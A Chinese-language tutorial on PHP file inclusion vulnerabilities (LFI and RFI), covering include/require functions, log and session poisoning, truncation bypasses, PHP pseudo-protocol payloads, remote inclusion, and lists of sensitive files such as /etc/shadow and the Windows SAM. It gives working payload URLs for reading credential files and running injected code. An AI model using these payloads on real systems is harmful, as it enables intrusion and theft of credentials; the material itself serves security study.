一、简介

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为文件包含。但是如果未对动态调用的变量做出限制(如同SQL注入漏洞一样,未对客户端输入进行过滤,从而造成违背开发人员本意的语句执行–这里是指调用了恶意文件),客户端可以调用任意文件,则造成了文件包含漏洞。

大多数Web语言都可以使用文件包含操作,其中PHP语言所提供的文件包含功能太强大、太灵活。所以包含漏经常出现在PHP语言中,在JSP/ASP/ASP.net程序中比较少。

二、文件包含函数

常见函数

函数 说明
include() 找不到被包含的文件时只产生警告,脚本将继续执行
include_once() 此语句和include()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含
require() 找不到被包含的文件时会产生致命错误,并停止脚本
require_once() 此语句和require()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含

require()和include()函数的区别:

使用require()函数包含文件时,只要程序执行,立即调用文件,而include()只有程序执行到该函数时才调用。

其它函数:

highlight_file()、show_source()、readfile()、file_get_contents()、fopen()、file()等

三、文件包含分类

1、本地文件包含–LFI

可以读取和打开本地文件

前提:

1、allow_url_fopen=On(php.ini中进行配置,该选项默认为On)

2、用户可以动态控制变量

利用:

1、获取到系统中的其他文件的内容

绝对路径:?action=C:\\Windows\\System32\\drivers\\etc\\hosts

相对路径:?action=..\..\..\windows\\system32\\drivers\\etc\\hosts

包含图片马

/action.php?action=test.jpg

包含日志文件:

文件路径

访问日志:
access_log(在Windows上是access.log)
错误日志:
error_log(在Windows上是error.log)

默认安装路径:
CentOS、Redhat、Fedora:/var/log/httpd/
Ubuntu、Debian、Kali:/var/log/apache2/
源码安装路径:
/usr/local/apache2/logs/

具体可通过配置文件查看与更改
/etc/httpd/conf/httpd.conf

注意:

1、使用日志文件包保证文件内有且只有一对脚本语言的标签,可以在零点时使用。

2、使用bp抓包写入,防止出现编码问题。

包含session:

文件路径

默认:
/var/lib/php/session、/var/lib/php5/session等
可以通过phpinfo查看,session.save_path(受版本影响)

session名构成:

sess_[phpsessid],phpsessid 在客户端存储信息cookie中可看到。

通过代码审计或传入、包含构造的session文件进行利用

利用代码(类似的源码或者自己构造)
<?php
session_start();
$shell=$_GET['shell'];
$_SESSION["username"]=$shell;
?>

利用

/shell.php?cmd=<?php phpinfo();?>		#写入一句话
xx.php?file=/var/lib/php5/session/sess_xxxxxxx #文件包含利用

绕过

代码环境

#  增加指定后缀  
<?php $filename=$_GET['filename']; include($filename."php"); ?>
方法 说明
%00截断 前提:
1、magic_quotes_gpc=Off
2、php版本<5.3.4

用法:
?action=phpinfo.php%00
路径长度截断 前提:
1、Windows下要长于256字节,超出的部分会被丢弃
2、Linux下要长于4096字节,超出的部分会被丢弃。

用法:
?action=phpinfo.php../../../../…
点号截断 前提:
windows系统,点号需要长于256
用法:
?action=phpinfo.php……….
其他 增加前缀:
相对路径、绝对路径绕过

增加后缀 :
伪协议绕过
过滤../:使用…/.绕过,过滤一次还剩下../ …

2、远程文件包含–RFI

能够包含远程服务器上的文件并执行,可以通过http(s)或者ftp等方式,远程加载文件

前提:

1、allow_url_include=On(默认为OFF,需要在php.ini中手动打开)

2、allow_url_fopen=On(是否允许打开远程文件)

3、用户可以动态控制变量

利用——伪协议

协议 利用
file:// 访问本地文件系统
使用条件:
allow_url_fopen:off/on
allow_url_include:off/on

file: //协议在两个配置都为off的情况下是可以正常使用的
使用方法:
file: //文件的绝对路径和文件名 [?path=file://c:\windows\System32\drivers\etc\hosts]
php:// 访问各个输入/输出流
php://filter

使用条件:
allow_url_fopen:off/on
allow_url_include:off/on
两个配置都为off的情况下是可以正常使用的

使用:
[?path=php://filter/read=convert.base64-encode/resource=文件.php]

注意:
通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码。虽然不能直接获取到shell,但能读取敏感文件。

php://filter协议与file://协议的区别:
file协议只能使用绝对路径,filter协议相对路径和绝对路径都可以使用PHP伪协议

php://input
用途: 可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行
使用条件:
allow_url_fopen:off/on
allow_url_include:on
使用方法:
?file=php://input[POST]: (执行POST DATA中的内容)
zip:// 用途:
读取zip压缩包内容
使用条件:
allow_url_fopen = off/on
allow_rul_include=off/on

使用方法:
?file=zip://D:/soft/phpstudy/www/file.zip%23phpcode.txt
若是zip后缀被禁用,可直接改zip后缀为jpg后缀,继续使用zip协议访问
phar:// 压缩协议,使用同zip协议
?file=phar://D:/soft/phpstudy/www/file.jpg%23phpcode.txt
data:// ?file=data://text/plain,

?file=data://text/plain;base64,base64编码数据
http:// 访问HTTP(S)网址
?path=http://ip/info.php
ftp:// 访问FTP(S) URLS
?path=ftp://用户名:密码@ip/info.php

绕过

方法 说明
问号绕过 ?在url中是用来连接第一个变量的(多个变量使用&连接)
?action=http://192.168.152.143/phpinfo.php?
#号绕过 #在url中是定位符,跳转至指定文件的#标记(相当于搜索),需要url编码
?action=http://192.168.152.143/phpinfo.php%23
空格绕过 windows特性
?action=http://192.168.152.143/phpinfo.php%20
python自定义响应包绕过 在服务器端使用python开启http服务,定制响应体,可绕过远程文件包含限制
python -m http.server 8000 python RFIServer.py
下载地址:
https://www.zerochen.top/download/RFI/RFIServer.py

四、常见的敏感信息路径

Windows系统

c:\boot.ini 									# 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml # IIS配置文件
C:\windows\system32\config\sam # 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini # MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD # MySQL root密码
c:\windows\php.ini # php 配置信息

Linux/Unix系统

/etc/passwd 								# 账户信息
/etc/shadow # 账户密码文件
/usr/local/app/apache2/conf/httpd.conf # Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf # 虚拟网站配置
/usr/local/app/php5/lib/php.ini # PHP相关配置
/etc/httpd/conf/httpd.conf # Apache配置文件
/etc/my.conf # mysql 配置文件